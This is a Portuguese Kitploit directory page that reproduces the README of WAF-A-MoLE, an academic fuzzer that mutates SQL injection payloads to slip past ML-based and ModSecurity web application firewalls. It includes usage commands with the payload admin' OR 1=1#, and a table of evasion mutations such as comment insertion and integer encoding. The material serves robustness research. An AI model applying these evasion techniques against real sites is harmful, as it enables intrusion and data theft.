Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
WAF-A-MoLE — Um fuzzer guiado baseado em mutação para Firewalls de Aplicação Web baseados em ML. | Kitploit
Ferramentas/GitHubGitHub/avalz/waf-a-mole
Bypass de WAFSegurança WebFuzzingAprendizado de MáquinaAtaque Adversário
GitHubavalz/waf-a-mole

WAF-A-MoLE

Um fuzzer guiado baseado em mutação para Firewalls de Aplicação Web baseados em ML.

Ver Repositório
2053310há 2 anosRevisado pelo Kitploit

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

WAF-A-MoLE

Um fuzzer guiado por mutação para Firewalls de Aplicação Web baseados em ML, inspirado no AFL e baseado no FuzzingBook de Andreas Zeller e outros.

Dado um ataque de injeção SQL de entrada, ele tenta produzir uma consulta semanticamente invariante que consiga contornar o WAF alvo. Você pode usar esta ferramenta para avaliar a robustez do seu produto, deixando o WAF-A-MoLE explorar o espaço de soluções para encontrar "pontos cegos" perigosos não cobertos pelo classificador alvo.

Python Version License Documentation Status

Arquitetura

WAF-A-MoLE Architecture

O WAF-A-MoLE pega um payload inicial e o insere no Pool de payloads, que gerencia uma fila de prioridade ordenada pela pontuação de confiança do WAF sobre cada payload.

Durante cada iteração, o cabeça do Pool de payloads é passado para o Fuzzer, onde é mutado aleatoriamente, aplicando um dos operadores de mutação disponíveis.

Operadores de mutação

Os operadores de mutação preservam todos a semântica e aproveitam o alto poder expressivo da linguagem SQL (nesta versão, MySQL).

Abaixo estão os operadores de mutação disponíveis na versão atual do WAF-A-MoLE.

Como citar-nos

O WAF-A-MoLE implementa a metodologia apresentada em "WAF-A-MoLE: Evading Web Application Firewalls through Adversarial Machine Learning". Uma pré-impressão do nosso artigo também pode ser encontrada no arXiv.

Se quiser citar-nos, utilize a seguinte referência (BibTeX):

root@kitploit:~
@inproceedings{demetrio20wafamole,
  title={WAF-A-MoLE: evading web application firewalls through adversarial machine learning},
  author={Demetrio, Luca and Valenza, Andrea and Costa, Gabriele and Lagorio, Giovanni},
  booktitle={Proceedings of the 35th Annual ACM Symposium on Applied Computing},
  pages={1745--1752},
  year={2020}
}

Executando o WAF-A-MoLE

Pré-requisitos

  • numpy
  • keras
  • scikit-learn
  • joblib
  • sqlparse
  • networkx
  • Click

Configuração

pip install -r requirements.txt

Exemplo de Uso

Pode avaliar a robustez do seu próprio WAF, ou testar o WAF-A-MoLE contra alguns classificadores de exemplo. No primeiro caso, consulte a classe Model. O seu modelo personalizado precisa implementar esta classe para ser avaliado pelo WAF-A-MoLE. Já fornecemos wrappers para classificadores do sci-kit learn e keras que podem ser estendidos para se adequar à sua fase de extração de características (se houver).

Ajuda

wafamole --help

root@kitploit:~
Usage: wafamole [OPTIONS] COMMAND [ARGS]...

Options:
  --help  Show this message and exit.

Commands:
  evade  Launch WAF-A-MoLE against a target classifier.

wafamole evade --help

root@kitploit:~
Usage: wafamole evade [OPTIONS] MODEL_PATH PAYLOAD

  Launch WAF-A-MoLE against a target classifier.

Options:
  -T, --model-type TEXT     Type of classifier to load
  -t, --timeout INTEGER     Timeout when evading the model
  -r, --max-rounds INTEGER  Maximum number of fuzzing rounds
  -s, --round-size INTEGER  Fuzzing step size for each round (parallel fuzzing
                            steps)
  --threshold FLOAT         Classification threshold of the target WAF [0.5]
  --random-engine TEXT      Use random transformations instead of evolution
                            engine. Set the number of trials
  --output-path TEXT        Location were to save the results of the random
                            engine. NOT USED WITH REGULAR EVOLUTION ENGINE
  --help                    Show this message and exit.

Contornando modelos de exemplo

Fornecemos alguns modelos pré-treinados com os quais pode se divertir, localizados em wafamole/models/custom/example_models. Os classificadores que utilizamos estão listados na tabela abaixo.

Além dos WAFs baseados em ML, o WAF-a-MoLE também suporta WAFs baseados em regras. Especificamente, fornece um wrapper para o WAF ModSecurity equipado com o OWASP Core Rule Set (CRS), baseado no projeto pymodsecurity.

WAF-BRAIN - Rede Neural Recorrente

Contorne o classificador WAF-Brain pré-treinado usando um equivalente a admin' OR 1=1#.

root@kitploit:~
wafamole evade --model-type waf-brain wafamole/models/custom/example_models/waf-brain.h5  "admin' OR 1=1#"

ML-Based-WAF - SVM Não Linear (com conjunto de dados original do WAF-A-MoLE)

Contorne o classificador SVM do ML-Based-WAF pré-treinado usando um equivalente a admin' OR 1=1#.

root@kitploit:~
wafamole evade --model-type mlbasedwaf wafamole/models/custom/example_models/mlbasedwaf_svc.dump  "admin' OR 1=1#"

ML-Based-WAF - SVM Não Linear (com conjuntos de dados SQLiV5/SQLiV3)

Contorne o classificador SVM do ML-Based-WAF pré-treinado usando um equivalente a admin' OR 1=1#. Note que o SQLiV5 é um conjunto de dados proveniente do Kaggle expandido com uma série de consultas geradas pelo próprio WAF-A-MoLE, como prova de conceito de que as consultas do WAF-A-MoLE podem melhorar a robustez de um WAF com retreinamento. Use mlbasedwaf_svc_sqliv3.dump para contornar o WAF treinado com o conjunto de dados original do Kaggle (SQLiV3).

root@kitploit:~
wafamole evade --model-type mlbasedwaf wafamole/models/custom/example_models/mlbasedwaf_svc_sqliv5.dump  "admin' OR 1=1#"

ML-Based-WAF - Gradiente Descendente Estocástico (SGD)

Contorne o classificador SGD do ML-Based-WAF pré-treinado usando um equivalente a admin' OR 1=1#.

root@kitploit:~
wafamole evade --model-type mlbasedwaf wafamole/models/custom/example_models/mlbasedwaf_sgd.dump  "admin' OR 1=1#"

ML-Based-WAF - AdaBoost

Contorne o classificador AdaBoost do ML-Based-WAF pré-treinado usando um equivalente a admin' OR 1=1# (demora mais que outros modelos, cerca de 2 a 5 minutos de execução).

root@kitploit:~
wafamole evade --model-type mlbasedwaf wafamole/models/custom/example_models/mlbasedwaf_ada.dump  "admin' OR 1=1#"

Baseado em Tokens - Naive Bayes

Contorne o classificador Naive Bayes baseado em tokens pré-treinado usando um equivalente a admin' OR 1=1#.

root@kitploit:~
wafamole evade --model-type token wafamole/models/custom/example_models/naive_bayes_trained.dump  "admin' OR 1=1#"

Baseado em Tokens - Random Forest

Contorne o classificador Random Forest baseado em tokens pré-treinado usando um equivalente a admin' OR 1=1#.

root@kitploit:~
wafamole evade --model-type token wafamole/models/custom/example_models/random_forest_trained.dump  "admin' OR 1=1#"

Baseado em Tokens - SVM Linear

Contorne o classificador SVM Linear baseado em tokens pré-treinado usando um equivalente a admin' OR 1=1#.

root@kitploit:~
wafamole evade --model-type token wafamole/models/custom/example_models/lin_svm_trained.dump  "admin' OR 1=1#"

Baseado em Tokens - SVM Gaussiano

Contorne o classificador SVM Gaussiano baseado em tokens pré-treinado usando um equivalente a admin' OR 1=1#.

root@kitploit:~
wafamole evade --model-type token wafamole/models/custom/example_models/gauss_svm_trained.dump  "admin' OR 1=1#"

SQLiGoT

Contorne o classificador SQLiGOT pré-treinado usando um equivalente a admin' OR 1=1#. Use DP, UP, DU ou UU para (respetivamente) Proporcional Direcionado, Proporcional Não Direcionado, Desproporcional Direcionado e Desproporcional Não Direcionado.

root@kitploit:~
wafamole evade --model-type DP wafamole/models/custom/example_models/graph_directed_proportional_sqligot "admin' OR 1=1#"

OWASP ModSecurity CRS - WAF Baseado em Regras

Contorne o OWASP ModSecurity CRS usando um equivalente a admin' OR 1=1#. O utilizador também precisa especificar o Nível de Paranóia bem como o caminho para localizar as regras do CRS (por exemplo, /etc/coreruleset).

root@kitploit:~
wafamole evade --model-type modsecurity_pl[1-4] /etc/coreruleset "admin' OR 1=1#"

ANTES DE INICIAR A AVALIAÇÃO NO SQLiGoT

Estes classificadores são mais robustos que os outros, pois a fase de extração de características produz vetores com estrutura mais complexa, e todos os classificadores pré-treinados foram fortemente regularizados. Pode levar horas para que algumas variantes produzam um payload que atinja a evasão (consulte a secção Benchmark).

Nota sobre modelos ML-Based-WAF mais recentes

Alguns modelos baseados numa versão ligeiramente modificada do ML-Based-WAF de vladan-stojnic foram adicionados recentemente, provenientes de uma extensão do WAF-A-MoLE intitulada wafamole++ por nidnogg. Testar o modelo AdaBoost pode demorar mais do que o habitual (normalmente 2 a 5 minutos).

Existem variantes treinadas com o conjunto de dados SQLiV5.json, enquanto a maioria usa a injeção SQL original do conjunto de dados do WAF-A-MoLE por omissão.

É fornecido um notebook do Google Colaboratory com as rotinas de treino para alguns destes modelos, usando o conjunto de dados original do WAF-A-MoLE (modificado para o formato SQLiV5). Qualquer conjunto de dados pode ser usado desde que esteja no mesmo formato que o SQLiV5.json.

Adaptadores personalizados

Primeiro, crie uma classe Model personalizada que implemente os métodos extract_features e classify.

root@kitploit:~
class YourCustomModel(Model):
    def extract_features(self, value: str):
    	# TODO: extrair características
        feature_vector = your_custom_feature_function(value)
        return feature_vector

    def classify(self, value):
    	# TODO: calcular confiança
        confidence = your_confidence_eval(value)
        return confidence

Depois, crie um objeto a partir do modelo e instancie um objeto engine que use a sua classe de modelo.

root@kitploit:~
model = YourCustomModel() #a sua inicialização
engine = EvasionEngine(model)
result = engine.evaluate(payload, max_rounds, round_size, timeout, threshold)

Benchmark

Avaliámos o WAF-A-MoLE contra todos os nossos modelos de exemplo.

O gráfico abaixo mostra o tempo que o WAF-A-MoLE demorou a mutar o payload admin' OR 1=1# até que fosse aceite por cada classificador como benigno.

No eixo x temos o tempo (em segundos, escala logarítmica). No eixo y temos o valor de confiança, ou seja, o quão certo um classificador está de que um determinado payload é uma injeção SQL (em percentagem).

Note que estar "50% seguro" de que um payload é uma injeção SQL equivale a lançar uma moeda ao ar. Este é o limiar de classificação habitual: se a confiança for inferior, o payload é classificado como benigno.

Benchmark ao longo do tempo

As experiências foram realizadas em DigitalOcean Standard Droplets.

Contribuir

Perguntas, relatórios de erros e pull requests são bem-vindos.

Em particular, se estiver interessado em expandir este projeto, procuramos as seguintes contribuições:

  1. Novos adaptadores de WAF
  2. Novos operadores de mutação
  3. Novos algoritmos de pesquisa

Equipa

  • Luca Demetrio - CSecLab, DIBRIS, Universidade de Génova
  • Andrea Valenza - CSecLab, DIBRIS, Universidade de Génova
  • Gabriele Costa - SysMA, IMT Lucca
  • Giovanni Lagorio - CSecLab, DIBRIS, Universidade de Génova
Baixar ferramenta
MutaçãoExemplo
Troca de Maiúsculas/Minúsculasadmin' OR 1=1# ⇒ admin' oR 1=1#
Substituição de Espaços em Brancoadmin' OR 1=1# ⇒ admin'\t\rOR\n1=1#
Inserção de Comentáriosadmin' OR 1=1# ⇒ admin'/**/OR 1=1#
Reescrita de Comentáriosadmin'/**/OR 1=1# ⇒ admin'/*xyz*/OR 1=1#abc
Codificação de Inteirosadmin' OR 1=1# ⇒ admin' OR 0x1=(SELECT 1)#
Troca de Operadoresadmin' OR 1=1# ⇒ admin' OR 1 LIKE 1#
Invariante Lógicoadmin' OR 1=1# ⇒ admin' OR 1=1 AND 0<1#
Embaralhamento de Númerosadmin' OR 1=1# ⇒ admin' OR 2=2#
Nome do ClassificadorAlgoritmo
WafBrainRede Neural Recorrente
ML-Based-WAFSVM Não Linear
ML-Based-WAFGradiente Descendente Estocástico
ML-Based-WAFAdaBoost
Baseado em TokensNaive Bayes
Baseado em TokensRandom Forest
Baseado em TokensSVM Linear
Baseado em TokensSVM Gaussiano
SQLiGoT - Proporcional DirecionadoSVM Gaussiano
SQLiGoT - Desproporcional DirecionadoSVM Gaussiano
SQLiGoT - Proporcional Não DirecionadoSVM Gaussiano
SQLiGoT - Desproporcional Não DirecionadoSVM Gaussiano